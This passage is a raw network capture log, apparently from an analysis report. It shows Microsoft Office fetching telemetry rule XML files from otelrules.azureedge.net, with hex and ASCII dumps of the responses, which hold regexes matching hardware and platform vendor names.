T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.8	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:36 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:36 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:36 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122836Z-r1d97b99577xdmfxhC1TEBqbhg00000000h0000000001f46 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:36 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.8	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:36 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:36 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122836Z-185f5d8b95c96jn4hC1NYCbgp80000000a5g00000000ete9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:36 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.8	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:36 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:36 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122836Z-185f5d8b95cdh56ghC1NYCk1x4000000040g00000000cp9s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.8	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:36 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:36 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122836Z-185f5d8b95cdcwrthC1NYCy5b80000000a2g00000000hs0m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:36 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.8	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:37 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:37 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122837Z-1777c6cb754n67brhC1TEBcp9c00000009mg00000000d9vg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:37 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.8	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:37 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:37 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122837Z-r1d97b99577n5jhbhC1TEB74vn00000008v000000000715m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:37 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.8	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:37 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:37 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122837Z-185f5d8b95cdh56ghC1NYCk1x4000000041000000000caax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:37 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.8	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:37 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:37 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122837Z-185f5d8b95c4vwv8hC1NYCy4v40000000a8g00000000gmac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:37 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.8	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:38 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:38 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122838Z-1777c6cb754rz2pghC1TEBghen00000009m0000000000vq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:38 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.8	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:38 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:38 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122838Z-185f5d8b95cx9g8lhC1NYCtgvc00000002ng000000005khz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:38 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.8	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:38 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:38 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122838Z-185f5d8b95cx9g8lhC1NYCtgvc00000002m000000000a49k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:38 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.8	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:38 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:38 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122838Z-r1d97b99577n4dznhC1TEBc1qw00000008wg000000008am8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:38 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 